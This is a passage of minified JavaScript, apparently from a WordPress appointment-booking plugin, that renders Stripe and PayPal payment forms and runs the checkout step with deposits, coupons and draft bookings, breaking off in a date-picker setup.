.mpa-preloader\"),this.$gatewayPreloader.removeClass(\"mpa-hide\"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(\".mpa-stripe-payment-method.\"+i),t.$fields=e.find(\".mpa-stripe-payment-fields.\"+i);const n=this.methods[i].getControl();if(null!==n){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,n.mount(e),n.on(\"ready\",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove(\"mpa-preloader-skeleton-pulsate\")}))}\"card\"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector(\"payment-request-button\"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on(\"ready\",(e=>{this.mountedMethod(\"payment_request_button\"),s.classList.remove(\"mpa-preloader-skeleton-pulsate\")}))):(s.classList.add(\"mpa-hide\"),document.querySelector(\".mpa-stripe-payment-request-button-separator\").classList.add(\"mpa-hide\")))}))})),e.find('input[name=\"stripe_payment_method\"]').on(\"change\",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(\".mpa-errors\")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case\"payment\":case\"card\":case\"ideal\":case\"sepa_debit\":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass(\"active\",t),s.$fields.toggleClass(\"mpa-hide\",!t)}}getElementSelector(e){return\"sepa_debit\"===e&&(e=\"iban\"),\"#mpa-stripe-\"+e+\"-element-\"+this.uid}render(){let e=\"\";e+='\u003Csection class=\"mpa-stripe-payment-container\">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='\u003Cdiv class=\"mpa-errors\">\u003C\u002Fdiv>',e+=\"\u003C\u002Fsection>\",e}renderNavigation(){let e=\"\";e+='\u003Cnav class=\"mpa-stripe-payment-methods\">',e+=\"\u003Cul>\";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='\u003Cli class=\"mpa-stripe-payment-method '+t+(s?\" active\":\"\")+'\">',e+=\"\u003Clabel>\",e+='\u003Cinput type=\"radio\" name=\"stripe_payment_method\" value=\"'+t+'\"'+(s?' checked=\"checked\"':\"\")+\">\",e+=\" \"+this.methods[t].title,e+=\"\u003C\u002Flabel>\",e+=\"\u003C\u002Fli>\"}return e+=\"\u003C\u002Ful>\",e+=\"\u003C\u002Fnav>\",e}renderFields(e){let t=\"\";switch(t+='\u003Cdiv class=\"mpa-stripe-payment-fields '+e+(e===this.selectedMethod?\"\":\" mpa-hide\")+'\">',t+=\"\u003Cfieldset>\",e){case\"payment\":t+=this.renderPaymentFields();break;case\"card\":t+=this.renderCardFields();break;case\"ideal\":t+=this.renderIdealFields();break;case\"sepa_debit\":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+=\"\u003C\u002Ffieldset>\",\"sepa_debit\"===e&&(t+='\u003Cp class=\"notice\">',t+=h(\"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\",\"motopress-appointment\").replace(\"%s\",C().settings().getBusinessName()),t+=\"\u003C\u002Fp>\"),t+=\"\u003C\u002Fdiv>\",t}renderPaymentFields(){let e=\"\";return e+='\u003Cdiv id=\"mpa-stripe-payment-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-element\">\u003C\u002Fdiv>',e}renderCardFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-card-element-'+this.uid+'\">',e+=h(\"Credit or debit card\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",this.methods.card.isEnabledWallets()&&(e+='\u003Cdiv id=\"mpa-stripe-payment-request-button-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement\">\u003C\u002Fdiv>',e+='\u003Cdiv class=\"mpa-stripe-payment-request-button-separator\">'+h(\"or\",\"motopress-appointment\")+\"\u003C\u002Fdiv>\"),e+='\u003Cdiv id=\"mpa-stripe-card-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderIdealFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-ideal-element-'+this.uid+'\">',e+=h(\"Select iDEAL Bank\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-ideal-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderSepaDebitFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-iban-element-'+this.uid+'\">',e+=h(\"IBAN\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-iban-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderRedirectNotice(){let e=\"\";return e+='\u003Cp class=\"notice\">',e+=h(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"),e+=\"\u003C\u002Fp>\",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass(\"mpa-hide\")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass(\"mpa-hide\").html(\"\")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class We extends qe{load(){return this.loadPromise=_(\"\u002Fpayments\u002Fsettings\",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Ge{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Ge)throw new Error(\"Cannot construct Abstract instances directly\");if(void 0===this.setupProperties)throw new Error(\"Must override method: setupProperties()\");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('\"name\" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('\"title\" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3,\" \"),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error(\"Abstract Method has no implementation\")}processPayment(e,t,s){const i=e.getCustomer(),n=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(n).then((t=>{if(t.error)throw new Error(t.error.message);return f(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return\"requires_action\"==e.status&&\"redirect_to_url\"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error(\"Unable to process payment.\",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Ye extends Ge{setupProperties(){this.name=\"payment\",this.title=h(\"Payment methods\",\"motopress-appointment\"),this.customerDetails={name:\"\",email:\"\",phone:\"\"}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:\"\",email:\"\",phone:\"\"}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||\"\";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var n,a,o;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(n=s?.name)&&void 0!==n?n:null,email:null!==(a=s?.email)&&void 0!==a?a:null,phone:null!==(o=s?.phone)&&void 0!==o?o:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:\"if_required\"})})).catch((e=>{throw console.error(\"Error during payment confirmation:\",e),e}))}processPayment(e,t,s){return f(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if(\"requires_action\"===e.status){if(\"redirect_to_url\"!==e.next_action.type)throw new Error(\"The user has cancelled or failed to complete the payment.\");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error(\"Unable to process payment.\",e.message),e;throw new Error(\"Unable to process payment.\")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create(\"payment\",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?\"never\":\"auto\",email:e?.email?\"never\":\"auto\",phone:e?.phone?\"never\":\"auto\",address:{line1:\"auto\",line2:\"auto\",city:\"auto\",state:\"auto\",country:\"auto\",postalCode:\"auto\"}}}})}}class Qe extends Ge{setupProperties(){this.name=\"card\",this.title=h(\"Card\",\"motopress-appointment\"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:C().settings().getCurrency().toLowerCase(),total:{label:h(\"Total\",\"motopress-appointment\"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return[\"apple_pay\",\"google_pay\",\"link\"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(\u002F([-_][a-z])\u002Fg,(e=>e.toUpperCase().replace(\"-\",\"\").replace(\"_\",\"\")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create(\"paymentRequestButton\",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:\"50px\"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:\"card\",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),new Error(t.error.message);return f(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete(\"success\"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,console.error(\"Unable to process payment.\",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Ke extends Ge{setupProperties(){this.name=\"sepa_debit\",this.title=h(\"SEPA Direct Debit\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create(\"iban\",{style:this.settings.style,supportedCountries:[\"SEPA\"]})}}class Ze extends Ge{setupProperties(){this.name=\"bancontact\",this.title=h(\"Bancontact\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Je extends Ge{setupProperties(){this.name=\"ideal\",this.title=h(\"iDEAL\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create(\"idealBank\",{style:this.settings.style})}}class Xe extends Ge{setupProperties(){this.name=\"giropay\",this.title=h(\"Giropay\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class et extends Ge{setupProperties(){this.name=\"sofort\",this.title=h(\"SOFORT\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class tt extends We{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId=\"stripe\",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\")}isValidAcceptTerms(){if(!C().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=C().settings().getCurrency()),t.toUpperCase()){case\"BIF\":case\"CLP\":case\"DJF\":case\"GNF\":case\"JPY\":case\"KMF\":case\"KRW\":case\"MGA\":case\"PYG\":case\"RWF\":case\"UGX\":case\"VND\":case\"VUV\":case\"XAF\":case\"XOF\":case\"XPF\":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,C().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:h(\"Total\",\"motopress-appointment\"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0\u003Cthis.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0\u003Cthis.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new je(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error(\"The payment gateway is not valid.\"));this.$gatewayPreloader.removeClass(\"mpa-hide\");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),n={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,n).then((e=>(this.$gatewayPreloader.addClass(\"mpa-hide\"),e)),(e=>{throw this.$gatewayPreloader.addClass(\"mpa-hide\"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:\"auto\",payment_methods:[],public_key:\"\",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:\"2023-10-16\"}),s=t.elements({mode:\"payment\",locale:this.settings.locale,currency:C().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case\"payment\":e.payment=new Ye(t,s,this.settings),e.payment.provideCart(this.cart);break;case\"card\":e.card=new Qe(t,s,this.settings),e.card.getControl().on(\"change\",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on(\"token\",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on(\"cancel\",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on(\"click\",this.onClickPaymentRequestButton.bind(this)))}));break;case\"sepa_debit\":e.sepa_debit=new Ke(t,s,this.settings),e.sepa_debit.getControl().on(\"change\",this.onChange.bind(this));break;case\"bancontact\":e.bancontact=new Ze(t,s,this.settings);break;case\"ideal\":e.ideal=new Je(t,s,this.settings);break;case\"giropay\":e.giropay=new Xe(t,s,this.settings);break;case\"sofort\":e.sofort=new et(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class st extends We{setupProperties(){super.setupProperties(),this.gatewayId=\"paypal\"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").show()}mount(e){let t=this;t.$errorWrapper=e.find(\".mpa-paypal-error\"),t.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),paypal.Buttons({onInit(e,s){if(C().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||s.disable(),e.addEventListener(\"change\",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(C().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\"))},createOrder:function(e,s){return t.$errorWrapper.addClass(\"mpa-hide\"),t.$gatewayPreloader.removeClass(\"mpa-hide\"),f(\"\u002Fpayments\u002Fprepare\",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass(\"mpa-hide\"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass(\"mpa-hide\")}}).render(e.find(\".mpa-paypal-container\")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class it{static createGateways(e,t){let s={};for(let i of C().settings().getActiveGateways()){let n=e.find(\".mpa-\"+i+\"-payment-gateway .mpa-billing-fields\"),a=0!==n.length?it.createGateway(i,n,t):null;null!==a&&(s[i]=a)}return s.free=new Ue({},t),s}static createGateway(e,t,s){switch(e){case\"manual\":case\"test\":case\"cash\":case\"bank\":return new qe(t,s);case\"paypal\":return new st(t,s);case\"stripe\":return new tt(t,s);default:return wp.hooks.applyFilters(\"mpa_create_gateway\",null,e,t,s)}}}class nt extends Ee{setupProperties(){super.setupProperties(),this.lastCartHash=\"\",this.gatewayId=\"\",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(\".mpa-checkout-form\"),this.$order=this.$element.find(\".mpa-order\"),this.$billingSection=this.$element.find(\".mpa-billing-details\"),this.$paymentGateways=this.$billingSection.find(\".mpa-payment-gateway\"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name=\"payment_gateway_id\"]'),this.$message=this.$element.find(\".mpa-message\").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(\".mpa-deposit-section\"),this.$depositSwitcher=this.$element.find('input[name=\"mpa-deposit-switcher\"]'),this.$depositTable=this.$element.find(\"#mpa-deposit-table\"),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.couponSection=null}theId(){return\"payment\"}propertiesSchema(){return{gatewayId:{type:\"string\",default:\"\"},isDepositDisabled:{type:\"bool\",default:!1},acceptTerms:{type:\"bool\",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass(\"mpa-hide\",!e.trim().length)}clearErrorMessage(){this.setErrorMessage(\"\")}hideDeposit(){this.$deposit.addClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!1),this.setProperty(\"isDepositDisabled\",this.$depositSwitcher.prop(\"checked\"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty(\"gatewayId\",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on(\"submit\",(e=>!1)),this.$paymentGatewayButtons.on(\"change\",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),C().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on(\"input\",(e=>{this.$depositTable.toggleClass(\"mpa-hide\",e.target.checked),this.setProperty(\"isDepositDisabled\",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():\"\"})}))}loadEntities(){this.isLoaded||this.$element.removeClass(\"mpa-hide\"),this.lastCartHash=this.cart.getHash(\"order\"),C().settings().isCouponsEnabled()&&(this.couponSection=new He(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.updateOrderDetails();let e=[];return\"free\"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,\"order\")?(this.lastCartHash=this.cart.getHash(\"order\"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters(\"mpa_booking_reload_drafts\",!1)?this.loadDrafts():Promise.resolve(this)}reset(){C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),this.lastCartHash=\"\";let e=C().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(\":checked\").prop(\"checked\",!1),e in this.gateways?(this.setProperty(\"gatewayId\",e),this.$paymentGatewayButtons.filter('[value=\"'+e+'\"]').prop(\"checked\",!0)):this.resetProperty(\"gatewayId\");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(xe(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s=\"\";return t>0&&(s+='\u003Ctable class=\"widefat\">',s+=\"\u003Ctbody>\",s+='\u003Ctr class=\"mpa-deposit-title\">',s+='\u003Ctd class=\"column-title\" colspan=\"2\">',s+=h(\"Deposit\",\"motopress-appointment\"),s+=\"\u003C\u002Ftd>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-now\">',s+='\u003Cth class=\"column-title\">',s+=h(\"Paying now\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=Ae(e.deposit),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-left\">',s+='\u003Cth class=\"column-title\">',s+=h(\"Left to pay\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=Ae(t),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+=\"\u003C\u002Ftbody>\",s+=\"\u003C\u002Ftable>\"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(\":checked\").length>0&&this.toggleDepositSection()}let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:\"\"}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId(\"free\",!1);else{const e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass(\"mpa-hide\",e),this.$paymentGatewayButtons.prop(\"required\",!e)}loadGateways(){let e=this.$billingSection.find(\".mpa-payment-gateways\");this.gateways=it.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return f(\"\u002Fbookings\u002Fdraft\",{...wp.hooks.applyFilters(\"mpa_booking_draft_data\",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop(\"disabled\",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return\"\"!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!C().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return\"object\"==typeof e&&\"function\"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class at extends Ee{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash=\"\",this.monthSlots={},this.date=\"\",this.time=\"\",this.datepicker=null,this.$dateWrapper=this.$element.find(\".mpa-date-wrapper\"),this.$dateInput=this.$element.find(\".mpa-date\"),this.$timeWrapper=this.$element.find(\".mpa-time-wrapper\"),this.$times=this.$timeWrapper.find(\".mpa-times\"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return\"period\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{date:{type:\"string\",default:\"\"},time:{type:\"string\",default:\"\"}}}addListeners(){super.addListeners(),this.$dateInput.on(\"change\",(e=>this.setProperty(\"date\",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash(\"availability\"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,\"availability\")?(this.$element.removeClass(\"mpa-loaded\"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash=\"\",this.monthSlots={},this.resetDate()}isValidInput(){return\"\"!=this.date&&\"\"!=this.time}resetDate(){this.resetProperty(\"date\")}resetTime(){this.$times.empty(),this.resetProperty(\"time\")}setEnabledDays(e){Q(e,!0)?this.datepicker.set(\"enable\",[\"2000-01-01\"]):this.datepicker.set(\"enable\",e)}afterUpdate(e,t,s){\"date\"==e&&(\"\"==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass(\"mpa-hide\",\"\"==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let 